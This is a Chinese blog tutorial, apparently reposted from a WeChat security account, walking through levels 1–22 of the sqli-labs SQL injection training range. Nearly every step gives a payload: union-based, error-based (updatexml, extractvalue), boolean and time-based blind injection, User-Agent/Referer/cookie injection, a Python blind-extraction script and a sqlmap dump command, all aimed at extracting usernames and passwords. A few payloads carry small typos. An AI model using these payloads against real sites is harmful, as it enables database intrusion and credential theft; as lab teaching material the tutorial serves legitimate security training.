前言
作者使用phpstudy将靶场放置在本地环境中,配置如下:
直接在浏览器中输入127.0.0.1/sql进行访问即可,有问题可以关注公众号回复【好友】私聊笔者
第一关
unsetunset1.1判断字符型还是数字型unsetunset
?id=1'报错,说明是字符型注入
unsetunset1.2看字段数unsetunset
4时报错且3时不报错,说明表一共有3个字段
?id=1' order by 4 --+
unsetunset1.3看回显位unsetunset
使用不存在的值查找回显位(不存在的值也可以让前面的命令执行失败)
?id=-1' union select 1,2,3 --+
发现是2,3位置有回显
unsetunset1.4爆库名unsetunset
?id=-1' union select 1,2,database() --+
unsetunset1.5爆表名unsetunset
注:
-
MySQL自带Information_schema库 -
Information_schema库里有两个特殊的表
-
表tables记录了库名和表名 -
表columns:库里面有什么表,表里面有什么字段
-
table_schema:记录了所有库的库名 -
table_name.记录了表 -
column_name:记录了字段 -
group_concat:将查询到的多行结果连接成为字符串
?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+
unsetunset1.6爆字段unsetunset
?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
unsetunset1.7爆账号密码unsetunset
?id=-1' union select 1,2,group_concat(username , password) from users --+
第二关
unsetunset2.1判断注入类型unsetunset
?id=1 and 1=1 --+
不报错
?id=1 and 1=2 --+
报错
说明是数字型注入
unsetunset2.2判断字段数unsetunset
?id=1 order by 4 --+
4时报错,3时不报错,有三个字段
unsetunset2.3查看回显位unsetunset
?id=-1 union select 1,2,3 --+
回显位还是2和3
unsetunset2.4爆库名unsetunset
?id=-1 union select 1,database(),3
unsetunset2.5爆表名unsetunset
?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()
unsetunset2.6爆字段unsetunset
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'
unsetunset2.7 爆账号密码unsetunset
?id=-1 union select 1,2,group_concat(username , password) from users
第三关
unsetunset3.1判断注入类型unsetunset
?id=1'
报错,但是仔细观察发现报错语句后面存在")"说明需要构造")"进行闭合
?id=1')
unsetunset3.2判断字段数unsetunset
?id=1') order by 4 --+
4时报错,3时不报错,有三个字段
unsetunset3.3查看回显位unsetunset
?id=-1') union select 1,2,3 --+
回显位还是2和3
unsetunset3.4爆库名unsetunset
?id=-1') union select 1,2,database() --+
unsetunset3.5爆表名unsetunset
?id=-1') union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+
unsetunset3.6爆字段unsetunset
?id=-1') union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+
unsetunset3.7 爆账号密码unsetunset
?id=-1') union select 1,2,group_concat(username,password)from users --+
第四关
unsetunset4.1判断注入类型unsetunset
?id=1"
报错,但是仔细观察发现报错语句后面存在")"说明需要构造")"进行闭合
?id=1")
unsetunset4.2判断字段数unsetunset
?id=1") order by 4 --+
4时报错,3时不报错,有三个字段
unsetunset4.3查看回显位unsetunset
?id=-1") union select 1,2,3 --+
回显位还是2和3
unsetunset4.4爆库名unsetunset
?id=-1") union select 1,2,database() --+
unsetunset4.5爆表名unsetunset
?id=-1") union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+
unsetunset4.6爆字段unsetunset
?id=-1") union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+
unsetunset4.7 爆账号密码unsetunset
?id=-1") union select 1,2,group_concat(username,password)from users --+
第五关
第五关发现页面不回显了,只要语法正确,均为以下页面,本关需要用到报错注入或者盲注
笔者此处采用updatexml函数进行报错注入
updatexml(目标文件,文件路径,修改内容)
0x3e是>的16进制编码
原理:文件路径必定会执行,可以输入其他语句,进行注入
unsetunset5.1判断注入类型unsetunset
?id=1'
报错
unsetunset5.2判断字段数unsetunset
?id=1' order by 4 --+
4时报错,3时不报错,有三个字段
unsetunset5.3爆库名unsetunset
?id=1'and updatexml(1,concat(0x3e,(select database()),0x3e),1)--+
unsetunset5.4爆表名unsetunset
?id=1' and updatexml(1,concat(0x3e,(select group_concat(table_name)from information_schema.tables where table_schema='security'),0x3e),1)--+
unsetunset5.5爆字段unsetunset
?id=1' and updatexml(1,concat(0x3e,(select group_concat(column_name)from information_schema.columns where table_schema='security' and table_name ='users'),0x3e),1)--+
unsetunset5.6爆账号密码unsetunset
?id=1'and updatexml(1,concat(0x3e,(select group_concat(password)from users),0x3e),1)--+
第六关
和第五关思路一样,只是将单引号报错改为了双引号报错
跑数据库名的脚本:
import requests as req
url = 'http://www.wangehacker.cn/sqli-labs/Less-6/?id=1'
res = ''
select = "select database()"
for i in range(1, 100):
for ascii in range(32, 128):
id = '1" and ascii(substr(({}),{},1))={}%23'.format(select, i, ascii)
r = req.get(url+id)
print(url+id)
if"You are in"in r.text:
res += chr(ascii)
print(res)
break
if ascii == 127:
print('{}'.format(res))
exit(0)
第七关
unsetunset7.1判断注入类型unsetunset
?id=1')) --+
经过尝试,闭合为')),本关的闭合有难度
题目中提示使用outfile,具体可以参考以下文章,还可以使用盲注(第八关详细讲)
https://www.cnblogs.com/c1047509362/p/12356354.html
第八关(典型的盲注)
第八关发现页面不回显了,只要语法正确,均为同一个页面,只要是错误语法也是同一个界面(没有任何回显可以与第五关进行对比)
unsetunset8.1判断注入类型unsetunset
?id=1'
报错
unsetunset8.2判断字段数unsetunset
?id=1' order by 4 --+
4时报错,3时不报错,有三个字段
unsetunset8.3爆库名unsetunset
盲注时常见函数:
length():识别内容的长度有几位 ascii():把字符转换成对应的十进制数字 substr():(需要分割的数据,从哪开始分割,分割多少位)
8.3.1 爆库名长度(建议先用二分法确定范围)
?id=1' and length((select database()))=8 --+
页面正常,说明库名长度为8
8.3.2 爆库名
这一步需要用到ascii和substr函数对库名进行一个一个字母的尝试
?id=1' and ascii(substr((select database()),1,1))=115--+(s)
?id=1' and ascii(substr((select database()),2,1))=101--+(e)
以此类推库名为security
unsetunset8.4爆表名unsetunset
8.4.1爆表名长度
?id=1' and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))=29 --+
8.4.2爆表名
?id=1' and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))=101 --+
根据长度,对每一个字符进行判断(二分法),可以得到表名分别为 emails
,referers
,uagents
, users
,ers
unsetunset8.5爆字段unsetunset
8.5.1爆字段长度
?id=1' and length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))=20 --+
8.5.2爆字段
?id=1' and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))=105--+
unsetunset8.6爆账号密码unsetunset
?id=1' and acsii(substr((select group_concat(username,password) from users),1,1))=68 --+
本关还可以使用sqlmap进行辅助爆破出账号密码
python sqlmap.py -u 127.0.0.1/sql/Less-8/?id=1'--+ -D security -T users --dump
第九关(时间盲注)
无论输入什么都回显You are in...........界面,可以考虑时间盲注,通过相应时间来判断语句的对错
补充知识:
sleep函数可以控制页面响应时间,可以使用if和sleep函数的组合使用通过页面响应时间的长短来判断语句的对错
unsetunset9.1判断闭合unsetunset
?id=1' and if(1=1,sleep(2),1)--+
unsetunset9.2爆库名unsetunset
9.2.1爆库长度
?id=1' and if(length((select database()))=8,sleep(2),1)--
9.2.2爆库名
?id=1'and if(ascii(substr((select database()),1,1))=115,sleep(2),1)--+
unsetunset9.3爆表名unsetunset
9.3.1爆表名长度
?id=1'and if(length((select group_concat(table_name) from information_schema.tables where table_schema=database()))=29,sleep(2),1)--+
9.3.2爆表名
?id=1'and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))=101,sleep(2),1)--+
unsetunset9.4爆字段unsetunset
9.4.1爆字段长度
?id=1' and if(length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name="users"))=20,sleep(2),1)--+
9.4.2爆字段
?id=1' and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name="users"),1,1))=105,sleep(5),1)--+
unsetunset9.5爆账号密码unsetunset
?id=1' and if(ascii(substr((select group_concat(username,password) from users),1,1))=68,sleep(2),1)--+
第十关
本关的闭合是双引号,其它的与第九关一样
第十一关
本关是登录框的注入,由之前的get请求变为了post请求
之前用的--+进行注释,在输入框中需要改为#进行注释
unsetunset11.1判断注入类型unsetunset
以下内容均在账号的输入框中进行输入
admin'
报错
unsetunset11.2判断字段数unsetunset
admin' order by 3 --+
3时报错,2时不报错,有两个字段
unsetunset11.3查看回显位unsetunset
由于刚刚使用的账户是admin,查看回显时会被原来的内容覆盖,所以这里需要用一个不存在的用户,这里选择1来进行后续操作
1' union select 1,2#
回显位是1和2
unsetunset11.4爆库名unsetunset
1' union select 1,database() #
unsetunset11.5爆表名unsetunset
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #
unsetunset11.6爆字段unsetunset
1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #
unsetunset11.7 爆账号密码unsetunset
1' union select 1,group_concat(id,username,password)from users #
第十二关
第十二关的闭合是"),其它与第十一关一样
第十三关(报错注入)
unsetunset13.1判断注入类型unsetunset
admin")
报错
unsetunset13.2判断字段数unsetunset
admin' order by 3 --+
3时报错,2时不报错,有两个字段
unsetunset13.3查看回显位unsetunset
发现本关没有回显位,这时需要用到报错注入
报错注入常见函数:updatexml()函数
和extractvalue()函数
unsetunset13.4爆库名unsetunset
admin') and updatexml(1,concat(0x3e,(select database()),0x3e),1)#
unsetunset13.5爆表名unsetunset
admin') and updatexml(1,concat(0x3e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x3e),1)#
unsetunset13.6爆字段unsetunset
admin') and updatexml(1,concat(0x3e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name ='users'),0x3e),1)#
unsetunset13.7 爆账号密码unsetunset
admin') and updatexml(1,concat(0x3e,(select group_concat(username,password) from users limit 0,1),0x3e),1)#
第十四关
闭合为",其它和13关一样
第十五关(时间盲注)
本关登陆失败的页面没有回显,尝试使用时间盲注
unsetunset15.1判断闭合unsetunset
admin' and sleep(2) #
执行成功,说明闭合是'
unsetunset15.2爆库名unsetunset
' or if(length((select database()))=8,sleep(2),1)#
从左往右爆库名
admin' and if(ascii(substr(database(),0,1))=115,1,sleep(2))#
unsetunset15.3爆表名unsetunset
admin' and if(length((select group_concat(table_name) from information_schema.tables where table_schema=database()))=29,sleep(2),1)#
admin' and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))=101,sleep(2),1)#
unsetunset15.4爆字段unsetunset
admin' and if(length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name="users"))=20,sleep(2),1)#
admin' and if(ascii(substr((select group_concat(username,password) from users),1,1))=68,sleep(2),1)#
unsetunset15.5爆账号密码unsetunset
admin' and if(ascii(substr((select group_concat(username,password) from users),1,1))=68,sleep(2),1)#
第十六关
闭合为"),其它均相同
第十七关
本关是密码重置的场景,其中账户不对的话会提示错误,经过尝试,admin是一个有效账户,随后就可以在新的密码中输入注入语句。
账户为admin不变,以下命令均为新密码输入框中输入的内容
unsetunset17.1判断闭合unsetunset
' order by 3#
执行成功,说明闭合是'
unsetunset17.2爆库名unsetunset
1' and updatexml(1,concat(0x3e,(select database()),0x3e),1)#
unsetunset17.3爆表名unsetunset
1' and updatexml(1,concat(0x3e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x3e),1)#
unsetunset17.4爆字段unsetunset
1' and updatexml(1,concat(0x3e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name ='users'),0x3e),1)#
unsetunset17.5爆账号密码unsetunset
1' and updatexml(1,concat(0x3e,(select group_concat(username,password) from users),0x3e),1)#
以上命令会被限制,数据库中不允许读users表,我们可以使用别名进行绕过
' or extractvalue(1,(select concat(0x7e,(select group_concat(username,password) from (select username,password from users)a))))#
将users表中的数据username和password存到一个别名为a的表中,这个时候就绕过了
第十八关
本关给了ip地址,记录了浏览器信息,可以尝试在ua,cookie等位置进行注入
本关是ua头注入
unsetunset18.1判断闭合unsetunset
1'
在UA头中将原来的删除,改为1'报错说明闭合是'
unsetunset18.2爆库名unsetunset
' and updatexml(1,concat(0x3e,(select database()),0x3e),1),1,1)#
unsetunset18.3爆表名unsetunset
' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1),1,1)#
unsetunset18.4爆字段unsetunset
' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name="users"),0x7e),1),1,1)#
unsetunset18.5爆账号密码unsetunset
' and updatexml(1,concat(0x7e, (select group_concat(username,password) from users limit 0,1),0x7e),1),1,1)#
第十九关
跟18关一样,只是注入的位置改到了referer
第二十关
跟18关一样,只是注入的位置改到了cookie中
第二十一关
抓包时发现cookie的值被base64编码了,所以payload也需要进行base64编码,且闭合为')
payload见18关
第二十二关
闭合变为",且需要进行base64编码
payload见18关
原文始发于微信公众号(泷羽Sec-pp502的安全笔记):SQL注入靶场(前22关)保姆级教学
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论